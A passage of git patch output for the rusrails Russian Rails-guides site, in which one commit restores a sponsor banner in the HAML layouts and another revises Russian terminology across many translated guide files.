z@<1HNaTAj(GLHhkj%l7HBO+ZecH`ysdoo(v5FlNLR}{Rsa6j4wSQlZZX3^2=7QzCt zLe>)cm#6h{*$0UgBDp!L!cC8GlSssmqPh!C1A)fsp`1uDyGNFjP^sR~m5+I%F(~T= z7Z)w{;@0@~`%cR(F$X&gny{AIdH=o2sPU?IOo+7*vDdHXEk87^KlWd3wnzYv&;=I2ZRwPIEXeBJKWVhJns1QAh42=PkRt1A3KBCz#nCosceu<2+GOZF(pRU3qpJToRf-O=JW z_v!~KEB|3=Ia;#Ogur`oZmaX%{WN+bjZYIJ?l5I&wb_3DYiXlY5Kn*M@0Z6ei{YOi zpr^eQ9PQ(tnjAB}DsCg7{Wdhc6y^+a_Tq#~hmG(~TYrTm! zp8oz}`)Yi}ty9Sb?nP-eRccZ^-*i2Z%kTQe+KGKX7z3YSb4&^Tr0yQm)8Ylzt2NB2_?g;&~sP1@7!EuQ?=08=)@B zC%1f=Vg1J?TMb3#a}tQ%x1#keAm*bxF~3Khd2Qhm%%FhH^U+H0!=v#`8};t&?6KQD zh=YW462G+v?p#4dCJf9QAt#pHwUzGlpG3PaIWSXt$YIqddgnC{@}&akcO`* z@joQeqb%L|auxcA!b*3o`ZNLdNt6Ip-M~tEy1P&(2bp?}chyN)k$A>h+g)2VrIs^x z4Yrc@JT0>MF8T7ged5n(?fuQl{9tDXuae@oXRo){Uv|$2jn+BdE&Xm^=dxvghFe^2 zPlDj#Psu1WQ{cO)j7+BispBuXK!%ZdCA)XtxPOI&oHnWrm?U=qB5vr;j}Iiy^C}cB zDcQ?U!j$fmwESG)#QE=DYTVjGwquG6O)JhyixR@H)8}rTHeluF_pw}G_u66%d)2os z;y>+KSTTnV7AamZW#&r?Qskf2t`_4=r)YfHkE^&z@wDy7tvs$wJ9$TcA0@Z<#}pQ0 z2caYV&(iIv$B9W>tZW!a3K(`Z?8NRSA^?eW7i+WoF86k$5Aj}-V|wparkuMC6I%WH z>GnS-lf{({mio1bdPXWM=F15cjfs%lVz>e>)z}%95&HL}6Um$gyc@!d={bRFVidT- zy-!Gh^F_kiEV&j%xTiG8tKWx0(_&kAkZG4>nWxt8s!6Zz)b)?vxis*yySzmHi^9$Ut5Tb`S z@VX@^&=85N&ONDlP`&zai>s)~7leTbFFSg7b|{shY^>jpzcCE+e3vh$B(`jw`p_aX z;)u|FOVEVr>`eBvtGI1&@td869AUmfq2Bb6*f#a05+)p#RzaJibY7^!lvnK7xF(V3 zE`_4zayaOC6N^>Nm`wkfg}p+mge68>8JxUGu5x;}&R?6V+?3zoiM`cihPVzEW2hwl zI*M7Yr3fkPTGX{aWJM>;J5_f!m9DO_M8>tv6s=^$9u_1>NX^l=A%ss+=azS~_xa+M z1kc}G(KmB>%bc>XCrSSj;Zf*pi|?6)YJaLp#IO+XuSt*g;32Z4s!l|K{X(XQ5bf|dE1pa)1@?W{#D4u- zW6diu`JsuUO6F1C9cDYQ$Vpc%CZHC!R{@u^6{qeRTgURh8A=NdgjD1%g~9YET6QUD z(WZ^_d92;dI97Nvz0uY@iYw_>FcobX%GbVOmwm9an`Di5$Skjscx*%nT(dKpLh0Ey4CU&v*iZ_q>|Sp<`^{=7qmYl^gr5|(S@ z5v_p1a=>9I#9~yUEIBf)@x8?j)t2YgwTP#pbV5tZL-ptoTD5nZ=}KzJw(>A0F2XkW zJMR@8DAo++>Nd`(d1D-vKr63?sY@IOSElJG@3arc>Z?mCr_f8p2%G4Mm6yx?-4-%3 z)wDfgus>l{xtb$K4v7C5^3xn*Jl|}pbD4WWNW=s23nXUpLwP=WoMQw?>pA>4`#;n( BH^cw{ literal 0 HcmV?d00001 diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index cf197185..682150a9 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -44,9 +44,9 @@ %a.twitter-follow-button{"data-lang" => "ru", href: "https://twitter.com/rusrails"} - if content_for?(:menu) .well.menu= yield(:menu) - -# - if @page.try(:path) != 'index' - -# .well.banner300.banner - -# = render "shared/banner", url: 'http://rubyconference.by/', image: 'partners/rubyconf2017.png' + - if @page.try(:path) != 'index' + .well.banner300.banner + = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' .well.banner300.banner = render "shared/adsense", position: 'sidebar' .span9.content.pull-left diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index 3fa3aa63..db3b6fda 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -1,6 +1,6 @@ --# - if @page && @page.path == 'index' --# #main_page_banner.well --# = render "shared/banner", url: 'http://rubyconference.by/', image: 'partners/rubyconf2017.png' +- if @page && @page.path == 'index' + #main_page_banner.well + = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' - cache ['v1', @page] do = @page.rendered_body(self) From db34f5d4ad3fcd8bef8b956d706d9aa97cf84e99 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Thu, 12 Oct 2017 13:52:35 +0300 Subject: [PATCH 340/932] New fixes 11-10 --- app/views/layouts/application.html.haml | 2 +- source/3_0_release_notes.md | 2 +- source/3_1_release_notes.md | 2 +- source/3_2_release_notes.md | 4 ++-- source/action_cable_overview.md | 4 ++-- source/action_controller_overview.md | 2 +- source/action_view_overview.md | 4 ++-- source/active_record_callbacks.md | 2 +- source/active_support_core_extensions.md | 18 +++++++++--------- source/active_support_instrumentation.md | 2 +- source/asset_pipeline.md | 2 +- source/autoloading_and_reloading_constants.md | 6 +++--- source/caching_with_rails.md | 2 +- source/configuring.md | 2 +- source/debugging_rails_applications.md | 8 ++++---- source/development_dependencies_install.md | 2 +- source/engines.md | 2 +- source/getting_started.md | 4 ++-- source/layouts_and_rendering.md | 2 +- source/rails_application_templates.md | 2 +- source/upgrading_ruby_on_rails.md | 2 +- source/working_with_javascript_in_rails.md | 6 +++--- 22 files changed, 41 insertions(+), 41 deletions(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 682150a9..46a24699 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -38,7 +38,7 @@ .row-fluid .span3.pull-right .well.social - %h4 Принимаем пожелания и пулл реквесты! + %h4 Принимаем пожелания и пул-реквесты! %iframe{allowtransparency: "true", frameborder: "0", height: "30", src: "http://ghbtns.com/github-btn.html?user=morsbox&repo=rusrails&type=watch&count=true&size=large", width: "180"} %p %a.twitter-follow-button{"data-lang" => "ru", href: "https://twitter.com/rusrails"} diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 17aa14eb..fd1a50da 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -255,7 +255,7 @@ end * В роутер добавлен метод `match`, также можно к соответствующему маршруту передать любое приложение Rack. * В роутер добавлен метод `constraints`, позволяющий защитить маршруты определенными ограничениями. -* В роутер добавлен метод `scope`, позволяющий вложить маршруты в пространство имен для различных языков или иных действий, например: +* В роутер добавлен метод `scope`, позволяющий вложить маршруты в пространство имен для разных языков или различных экшнов, например: ```ruby scope 'es' do diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 01a9839c..f39b6f11 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -382,7 +382,7 @@ Active Record * `default_scope` теперь может принимать блок, lambda или любой другой объект, отвечающий на call для ленивых вычислений. -* Скоупы по умолчанию теперь вычисляются в самый последний момент для избегания проблем, когда могут быть созданы скоупы, которые неявно содержат скоуп по умолчанию, от которого впоследствии невозможно будет избавиться с помощью Model.unscoped. +* Дефолтные скоупы теперь вычисляются в самый последний момент для избегания проблем, когда могут быть созданы скоупы, которые неявно содержат дефолтный скоуп, от которого впоследствии невозможно будет избавиться с помощью Model.unscoped. * Адаптер PostgreSQL теперь поддерживает только PostgreSQL версии 8.2 и выше. diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index d53e5915..2100d58b 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -502,9 +502,9 @@ Active Support * `ActiveSupport::Notifications.subscribed` предоставляет подписки на события, пока выполняется блок. -* Определены новые методы `Module#qualified_const_defined?`, `Module#qualified_const_get` и `Module#qualified_const_set`, являющиеся аналогами соответствующих методов в стандартном API, но принимающие полные имена констант. +* Определены новые методы `Module#qualified_const_defined?`, `Module#qualified_const_get` и `Module#qualified_const_set`, являющиеся аналогами соответствующих методов в стандартном API, но принимающие ограниченные имена констант. -* Добавлен `#deconstantize`, дополняющий `#demodulize` в словообразовании. Он убирает самый правый сегмент в полном имени константы. +* Добавлен `#deconstantize`, дополняющий `#demodulize` в словообразовании. Он убирает самый правый сегмент в ограниченном имени константы. * Добавлен `safe_constantize`, преобразующий строку в константу, но возвращающий `nil` вместо исключения, если константа (или ее часть) не существует. diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index 6fe91fba..83be4f65 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -383,11 +383,11 @@ App.cable.subscriptions.create "AppearanceChannel", 4. **Клиент** распознав, что подписка была установлена, вызывает `connected` (`appearance.coffee`), который, в свою очередь, вызывает `@install` и `@appear`. `@appear` вызывает `AppearanceChannel#appear(data)` на сервере и предоставляет хэш данных `appearing_on: $("main").data("appearing-on")`. Это возможно, так как экземпляр канала на сервере автоматически открывает публичные методы, объявленные в классе (кроме колбэков), таким образом, они достижимы для вызова в качестве удаленных процедур с помощью метода подписки `perform`. -5. **Сервер** получает запрос для действия `appear` на канале появлений для соединения, идентифицированного `current_user`. (`appearance_channel.rb`). **Сервер** получает данные с ключом `:appearing_on` из хэша данных и устанавливает его в качестве значения для ключа `:on`, передаваемого в `current_user.appear`. +5. **Сервер** получает запрос для экшна `appear` на канале появлений для соединения, идентифицированного `current_user`. (`appearance_channel.rb`). **Сервер** получает данные с ключом `:appearing_on` из хэша данных и устанавливает его в качестве значения для ключа `:on`, передаваемого в `current_user.appear`. ### Пример 2: Получение новых веб-уведомлений -Пример с появлением пользователей был об открытии серверного функционала для вызова на стороне клиента через соединение WebSocket. Но отличительная особенность WebSockets в том, что они двусторонние. Давайте покажем пример, когда сервер вызывает действие на клиенте. +Пример с появлением пользователей был об открытии серверного функционала для вызова на стороне клиента через соединение WebSocket. Но отличительная особенность WebSockets в том, что они двусторонние. Давайте покажем пример, когда сервер вызывает экшн на клиенте. Это канал веб-уведомлений, позволяющий показать веб-уведомления на клиенте при трансляции в правильные потоки: diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 54354203..86a234a8 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -46,7 +46,7 @@ class ClientsController < ApplicationController end ``` -В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового клиента, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеприведенного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если в экшне не будет указано иное действие. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: +В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового клиента, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеприведенного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если в экшне не будет указано иное. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: ```ruby def new diff --git a/source/action_view_overview.md b/source/action_view_overview.md index fdc73198..831a2252 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -13,7 +13,7 @@ Что такое Action View? ---------------------- -В Rails веб-запросы обрабатываются [Action Controller](/action-controller-overview) и Action View. Обычно Action Controller ответственен за связь с базой данных и выполнение действий CRUD. Тогда как Action View ответственен за компиляцию отклика. +В Rails веб-запросы обрабатываются [Action Controller](/action-controller-overview) и Action View. Обычно Action Controller ответственен за связь с базой данных и выполнение экшнов CRUD. Тогда как Action View ответственен за компиляцию отклика. Шаблоны Action View пишутся с помощью тегов встроенного Ruby, смешанных с HTML. Чтобы избежать загромождения вьюх шаблонным кодом, общее поведение для форм, дат и строк представлено рядом классов хелпера. В существующее приложение также легко добавлять новые хелперы. @@ -22,7 +22,7 @@ NOTE: Некоторые особенности Action View связаны с Ac Использование Action View с Rails --------------------------------- -Для каждого контроллера имеется связанная директория в директории `app/views`, содержащая файлы шаблонов, которые формируют вьюхи, связанные с этим контроллером. Эти файлы используются для отображения вьюхи, являющейся результатом каждого действия контроллера. +Для каждого контроллера имеется связанная директория в директории `app/views`, содержащая файлы шаблонов, которые формируют вьюхи, связанные с этим контроллером. Эти файлы используются для отображения вьюхи, являющейся результатом каждого экшна контроллера. Давайте взглянем на то, что делает Rails по умолчанию, когда создает новый ресурс с помощью генератора скаффолда: diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index d82d671d..57b07624 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -400,7 +400,7 @@ class PictureFile < ApplicationRecord end ``` -NOTE: Опция `:on` определяет, когда будет запущен колбэк. Если не предоставить опцию `:on`, колбэк будет запущен для каждого действия. +NOTE: Опция `:on` определяет, когда будет запущен колбэк. Если не предоставить опцию `:on`, колбэк будет запущен для каждого экшна. Так как принято использовать колбэк `after_commit` только при создании, обновлении или удалении, есть псевдонимы для этих операций: diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 0ef6de34..3e46f466 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -266,7 +266,7 @@ NOTE: Определено в `active_support/core_ext/object/try.rb`. ### `class_eval(*args, &block)` -Можно выполнить код в контексте синглтон-класса любого объекта, используя `class_eval`: +Можно вычислить код в контексте синглтон-класса любого объекта, используя `class_eval`: ```ruby class Proc @@ -788,7 +788,7 @@ end delegate :name, :age, :address, :twitter, to: :profile ``` -При интерполяции в строку опция `:to` должна стать выражением, выполняемым объектом, метод которого делегируется. Обычно строка или символ. Такое выражение выполняется в контексте получателя: +При интерполяции в строку опция `:to` должна стать выражением, вычисляемым объектом, метод которого делегируется. Обычно строка или символ. Такое выражение вычисляется в контексте получателя: ```ruby # делегирует константе Rails @@ -1540,7 +1540,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. #### `demodulize` -Для заданной строки с полным именем константы, `demodulize` возвращает само имя константы, то есть правой части этого: +Для заданной строки с ограниченным именем константы, `demodulize` возвращает само имя константы, то есть правой части этого: ```ruby "Product".demodulize # => "Product" @@ -1568,7 +1568,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. #### `deconstantize` -У заданной строки с полным выражением ссылки на константу `deconstantize` убирает самый правый сегмент, в основном оставляя имя контейнера константы: +У заданной строки с ограниченным выражением ссылки на константу `deconstantize` убирает самый правый сегмент, в основном оставляя имя контейнера константы: ```ruby "Product".deconstantize # => "" @@ -1629,7 +1629,7 @@ NOTE: Определено в `active_support/core_ext/string/inflections.rb`. "invoice_lines".classify # => "InvoiceLine" ``` -Метод понимает полные имена таблиц: +Метод понимает ограниченные имена таблиц: ```ruby "highrise_production.companies".classify # => "Company" @@ -1652,7 +1652,7 @@ end "M::X".constantize # => 1 ``` -Если строка выполняет неизвестную константу, или ее содержимое даже не является валидным именем константы, `constantize` вызывает `NameError`. +Если строка вычисляет неизвестную константу, или ее содержимое даже не является валидным именем константы, `constantize` вызывает `NameError`. Анализ имени константы с помощью `constantize` начинается всегда с верхнего уровня `Object`, даже если нет предшествующих "::". @@ -3629,7 +3629,7 @@ File.atomic_write(joined_asset_path) do |cache| end ``` -Для выполнения этого `atomic_write` создает временный файл. Фактически код в блоке пишет в этот файл. При выполнении временный файл переименовывается, что является атомарной операцией в системах POSIX. Если целевой файл существует, `atomic_write` перезаписывает его и сохраняет владельцев и права. Однако в некоторых случаях `atomic_write` не может изменить владельца или права на файл, эта ошибка отлавливается и пропускается, позволяя файловой системе убедиться, что файл доступен для необходимых действий. +Для выполнения этого `atomic_write` создает временный файл. Фактически код в блоке пишет в этот файл. При выполнении временный файл переименовывается, что является атомарной операцией в системах POSIX. Если целевой файл существует, `atomic_write` перезаписывает его и сохраняет владельцев и права. Однако в некоторых случаях `atomic_write` не может изменить владельца или права на файл, эта ошибка отлавливается и пропускается, позволяя файловой системе убедиться, что файл доступен для необходимых манипуляций. NOTE. Благодаря операции chmod, выполняемой `atomic_write`, если у целевого файла установлен ACL, то этот ACL будет пересчитан/изменен. @@ -3663,9 +3663,9 @@ NOTE: Определено в `active_support/core_ext/marshal.rb`. Active Support добавляет `missing_name?` к `NameError`, который тестирует было ли исключение вызвано в связи с тем, что имя было передано как аргумент. -Имя может быть задано как символ или строка. Символ тестируется как простое имя константы, строка - как полностью определенное имя константы. +Имя может быть задано как символ или строка. Символ тестируется как простое имя константы, строка - как полностью ограниченное имя константы. -TIP: Символ может представлять полностью определенное имя константы как `:"ActiveRecord::Base"`, такое поведение для символов определено для удобства, а не потому, что такое возможно технически. +TIP: Символ может представлять полностью ограниченное имя константы как `:"ActiveRecord::Base"`, такое поведение для символов определено для удобства, а не потому, что такое возможно технически. К примеру, когда вызывается экшн `ArticlesController`, Rails пытается оптимистично использовать `ArticlesHelper`. Это нормально, когда не существует модуля хелпера, поэтому если вызывается исключение для этого имени константы, оно должно молчать. Но в случае, если `articles_helper.rb` вызывает `NameError` благодаря неизвестной константе, оно должно быть перевызвано. Метод `missing_name?` предоставляет способ проведения различия в этих двух случаях: diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index e4fdc2cb..eb120cf7 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -19,7 +19,7 @@ Active Support — часть ядра Rails, которая предостав Инструментарий API, предоставленный Active Support, позволяет разработчикам создавать хуки, которыми могут пользоваться другие разработчики. Некоторые из них присутствуют в фреймворке Rails, как показано [ниже](#huki-freymvorka-rails). С этим API, разработчики могут быть оповещены при возникновении определенного события в их приложении или другом коде Ruby. -Например, есть хук внутри Active Record который вызывается каждый раз когда Active Record использует запрос SQL к базе данных. На этот хук можно **подписаться** и использовать его для отслеживания количества запросов в течении определенного действия. Есть другой хук, оборачивающий экшны контроллеров. Он может быть использован, например, для отслеживания, как долго выполнялся определенный экшн. +Например, есть хук внутри Active Record который вызывается каждый раз когда Active Record использует запрос SQL к базе данных. На этот хук можно **подписаться** и использовать его для отслеживания количества запросов в течении определенного экшна. Есть другой хук, оборачивающий экшны контроллеров. Он может быть использован, например, для отслеживания, как долго выполнялся определенный экшн. Вы даже можете создать свои собственные события внутри приложения, на которые вы потом сможете подписаться. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 406ab2cd..6f4ce542 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -181,7 +181,7 @@ app/assets/javascripts/sub/something.js Можно просмотреть путь поиска, проинспектировав `Rails.application.config.assets.paths` в консоли Rails. -Помимо стандартных путей `assets/*` в файлопровод могут быть добавлены дополнительные (полные) пути в `config/initializers/assets.rb`. Например: +Помимо стандартных путей `assets/*` в файлопровод могут быть добавлены дополнительные (полностью ограниченные) пути в `config/initializers/assets.rb`. Например: ```ruby Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index e2ea8f9b..41c74d97 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -202,7 +202,7 @@ class PostsController < ApplicationController end ``` -`Post` — это не синтаксис для класса. Скорее, `Post` — это обычная константа Ruby. Если все нормально, константа вернет объект, отвечающий на `all`. +`Post` — это не синтаксис для класса. Скорее, `Post` — это обычная константа Ruby. Если все нормально, константа вычисляет объект, отвечающий на `all`. Вот почему мы говорим об автозагрузке *констант*, в Rails есть возможность загрузки констант на лету. @@ -333,7 +333,7 @@ require 'erb' Ruby ищет файл в директориях, перечисленных в `$LOAD_PATH`. То есть, Ruby перебирает все свои директории и для каждой из них проверяет, имеется ли в ней файл с именем "erb.rb", или "erb.so", или "erb.o", или "erb.dll". Если он находит один из них, то интерпретатор загружает его и заканчивает поиск. В противном случае он снова пытается сделать то же самое для следующей директории в списке. Если список заканчивается, вызывается `LoadError`. -Мы попытаемся подробнее раскрыть, как работает автозагрузка констант, позже, но идея в том, что когда вызвана, но отсутствует константа, наподобие `Post`, и, к примеру, имеется файл `post.rb` в `app/models`, Rails собирается найти его, выполнить его и получить определение `Post` в качестве побочного эффекта. +Мы попытаемся подробнее раскрыть, как работает автозагрузка констант, позже, но идея в том, что когда вызвана, но отсутствует константа, наподобие `Post`, и, к примеру, имеется файл `post.rb` в `app/models`, Rails собирается найти его, вычислить его и получить определение `Post` в качестве побочного эффекта. Отлично, в Rails есть коллекция директорий, подобная `$LOAD_PATH`, для поиска `post.rb`. Эта коллекция называется `autoload_paths`, и, по умолчанию, она содержит: @@ -959,7 +959,7 @@ warning: toplevel constant Image referenced by Hotel::Image => Array ``` -WARNING. Чтобы эта проблема проявилась, нужно, чтобы составное пространство имен было классом, так как `Object` не предок модулей. +WARNING. Чтобы эта проблема проявилась, нужно чтобы ограниченное пространство имен было классом, так как `Object` не предок модулей. ### Автозагрузка в синглтон-классе diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index cb6ed588..62f3c065 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -124,7 +124,7 @@ class Game < ApplicationRecord end ``` -С помощью `touch`, установленного в `true`, любое действие, изменяющее `updated_at` для записи game, будет также изменять его для связанного product, тем самым прекращая кэш. +С помощью `touch`, установленного в `true`, любой экшн, изменяющий `updated_at` для записи game, будет также изменять его для связанного product, тем самым прекращая кэш. ### Кэширование общих партиалов diff --git a/source/configuring.md b/source/configuring.md index 3e008466..0d96881e 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -1015,7 +1015,7 @@ TIP: Если имеется какая-либо зависимость от п В Rails имеется 5 событий инициализации, которые могут быть встроены в разные моменты (отображено в порядке запуска): -* `before_configuration`: Это запустится как только константа приложения унаследуется от `Rails::Application`. Вызовы `config` будут произведены до того, как это произойдет. +* `before_configuration`: Это запустится как только константа приложения унаследуется от `Rails::Application`. Вызовы `config` будут вычислены до того, как это произойдет. * `before_initialize`: Это запустится непосредственно перед процессом инициализации с помощью инициализатора `:bootstrap_hook`, расположенного рядом с началом процесса инициализации Rails. diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 1a0a14e2..4c7909d7 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -216,13 +216,13 @@ logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs " logger.debug "Person attributes hash: #{@person.attributes.inspect}" ``` -В этом примере будет воздействие на производительность, даже если допустимый уровень вывода не включает debug. Причина этого в том, что Ruby вычисляет эти строки, включая инициализацию относительно весомого объекта `String` и интерполяцию переменных. Следовательно, в методы логгера рекомендуется передавать блоки, так как они вычисляются только, если уровень вывода такой же или включен в допустимый (т.е. ленивая загрузка). Переписанный тот же код: +В этом примере будет воздействие на производительность, даже если допустимый уровень вывода не включает debug. Причина этого в том, что Ruby вычисляет эти строки, включая инициализацию относительно весомого объекта `String` и интерполяцию переменных. Следовательно, в методы логгера рекомендуется передавать блоки, так как они только вычисляются, если уровень вывода такой же или включен в допустимый (т.е. ленивая загрузка). Переписанный тот же код: ```ruby logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} ``` -Содержимое блока и, следовательно, интерполяция строки будут вычислены только, если включен уровень debug. Экономия производительности будет реально заметна только при большом количестве логирования, но это все равно хорошая практика применения. +Содержимое блока и, следовательно, интерполяция строки будут только вычислены, если включен уровень debug. Экономия производительности будет реально заметна только при большом количестве логирования, но это все равно хорошая практика применения. Отладка с помощью гема "byebug" --------------------------------- @@ -392,7 +392,7 @@ Processing by ArticlesController#index as HTML Когда начинаете отладку своего приложения, вы будете помещены в различные контексты, так как проходите через различные части стека. -Отладчик создает контекст, когда достигается точка останова или событие. У контекста есть информация о приостановленной программе, которая позволяет отладчику просматривать кадр стека, значения переменных с точки зрения отлаживаемой программы, и знает место, в котором отлаживаемая программа остановилась. +Отладчик создает контекст, когда достигается точка останова или событие. У контекста есть информация о приостановленной программе, которая позволяет отладчику просматривать кадр стека, вычисленных переменных с точки зрения отлаживаемой программы, и знает место, в котором отлаживаемая программа остановилась. В любое время можете вызвать команду `backtrace` (или ее псевдоним `where`), чтобы напечатать трассировку приложения. Это полезно для того, чтобы знать, где вы находитесь. Если вы когда-нибудь задумывались, как вы получили что-то в коде, то `backtrace` предоставит ответ. @@ -783,7 +783,7 @@ NOTE: Только одна консоль может быть отрисова адресов и сетей (по умолчанию: `127.0.0.1/8, ::1`). * `config.web_console.whiny_requests`: Выводить сообщение, когда консоль не может быть отрисована (по умолчанию: `true`). -Поскольку `web-console` выполняет чистый Ruby код удаленно на сервере, не пытайтесь использовать это в production. +Поскольку `web-console` вычисляет чистый Ruby код удаленно на сервере, не пытайтесь использовать это в production. Отладка утечки памяти --------------------- diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index 2a984fa8..5f7e074c 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -42,7 +42,7 @@ $ cd rails ### Настройте и запустите тесты -Тестовый набор должен проходить для любого отправляемого кода. Вне зависимости, пишете ли вы новый код, или проверяете чей-то, вам нужно иметь возможность запускать тесты. +Тестовый набор должен проходить для любого отправляемого кода. Вне зависимости, пишете ли вы новый код, или вычисляете чей-то, вам нужно иметь возможность запускать тесты. Сначала установите SQLite3 и его файлы для разработки для гема `sqlite3`. Пользователи macOS это могут сделать так: diff --git a/source/engines.md b/source/engines.md index 0284c63d..68b45138 100644 --- a/source/engines.md +++ b/source/engines.md @@ -854,7 +854,7 @@ end module Blorgh::Concerns::Models::Article extend ActiveSupport::Concern - # 'included do' приводит к тому, что включенный код будет выполнен в + # 'included do' приводит к тому, что включенный код будет вычислен в # контексте того, где он подключен (article.rb), вместо того, чтобы быть # выполненным в контексте модуля (blorgh/concerns/models/article). included do diff --git a/source/getting_started.md b/source/getting_started.md index 4d14fd33..448f5101 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -246,7 +246,7 @@ Rails.application.routes.draw do end ``` -Если запустить `bin/rails routes`, можно увидеть, что он объявил все маршруты для стандартных действий RESTful. Значение столбца префикса (и остальных столбцов) мы рассмотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. +Если запустить `bin/rails routes`, можно увидеть, что он объявил все маршруты для стандартных экшнов RESTful. Значение столбца префикса (и остальных столбцов) мы рассмотрим позже, а пока обратите внимание, что Rails знает о форме единственного числа слова `article` и разумно использует это различие. ```bash $ bin/rails routes @@ -465,7 +465,7 @@ class CreateArticles < ActiveRecord::Migration[5.0] end ``` -Эта миграция создает метод `change`, вызываемый при запуске этой миграции. Действие, определенное в этой миграции, также является обратимым, что означает, что Rails знает, как отменить изменения, сделанные этой миграцией, в случае, если вы решите их отменить позже. Когда вы запустите эту миграцию, она создаст таблицу `articles` со строковым столбцом и текстовым столбцом. Она также создаст два поля временных меток для отслеживания времени создания и обновления статьи. +Эта миграция создает метод `change`, вызываемый при запуске этой миграции. Экшны, определенное в этой миграции, также является обратимым, что означает, что Rails знает, как отменить изменения, сделанные этой миграцией, в случае, если вы решите их отменить позже. Когда вы запустите эту миграцию, она создаст таблицу `articles` со строковым столбцом и текстовым столбцом. Она также создаст два поля временных меток для отслеживания времени создания и обновления статьи. TIP: Для подробностей о миграциях Rails обратитесь к руководству [Миграции Active Record](/rails-database-migrations). diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 093d10b2..532db3e7 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -572,7 +572,7 @@ def show end ``` -Если `@book.special?` определяется как `true`, Rails начинает процесс рендеринга, выгружая переменную `@book` во вьюху `special_show`. Но это _не_ остановит от выполнения остальной код в экшне `show`, и когда Rails достигнет конца экшна, он начнет рендерить вьюху `show` - и выдаст ошибку. Решение простое: убедитесь, что у вас есть только один вызов `render` или `redirect` за один проход. Еще может помочь такая вещь, как `and return`. Вот исправленная версия метода: +Если `@book.special?` вычисляется как `true`, Rails начинает процесс рендеринга, выгружая переменную `@book` во вьюху `special_show`. Но это _не_ остановит от выполнения остальной код в экшне `show`, и когда Rails достигнет конца экшна, он начнет рендерить вьюху `show` - и выдаст ошибку. Решение простое: убедитесь, что у вас есть только один вызов `render` или `redirect` за один проход. Еще может помочь такая вещь, как `and return`. Вот исправленная версия метода: ```ruby def show diff --git a/source/rails_application_templates.md b/source/rails_application_templates.md index d85e8932..68338b71 100644 --- a/source/rails_application_templates.md +++ b/source/rails_application_templates.md @@ -261,7 +261,7 @@ end Продвинутое использование ------------------------- -Шаблон приложения выполняется в контексте экземпляра `Rails::Generators::AppGenerator`. Используется действие `apply`, предоставленное [Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). +Шаблон приложения вычисляется в контексте экземпляра `Rails::Generators::AppGenerator`. Используется экшн `apply`, предоставленное [Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). Это означает, что вы можете расширить и изменить экземпляр в соответствии с вашими потребностями. Например, переписать метод `source_paths`, чтобы он содержал расположение вашего шаблона. Сейчас методы, такие как `copy_file` будут принимать относительные пути по отношению к вашему шаблону. diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index d0986a06..87b26537 100644 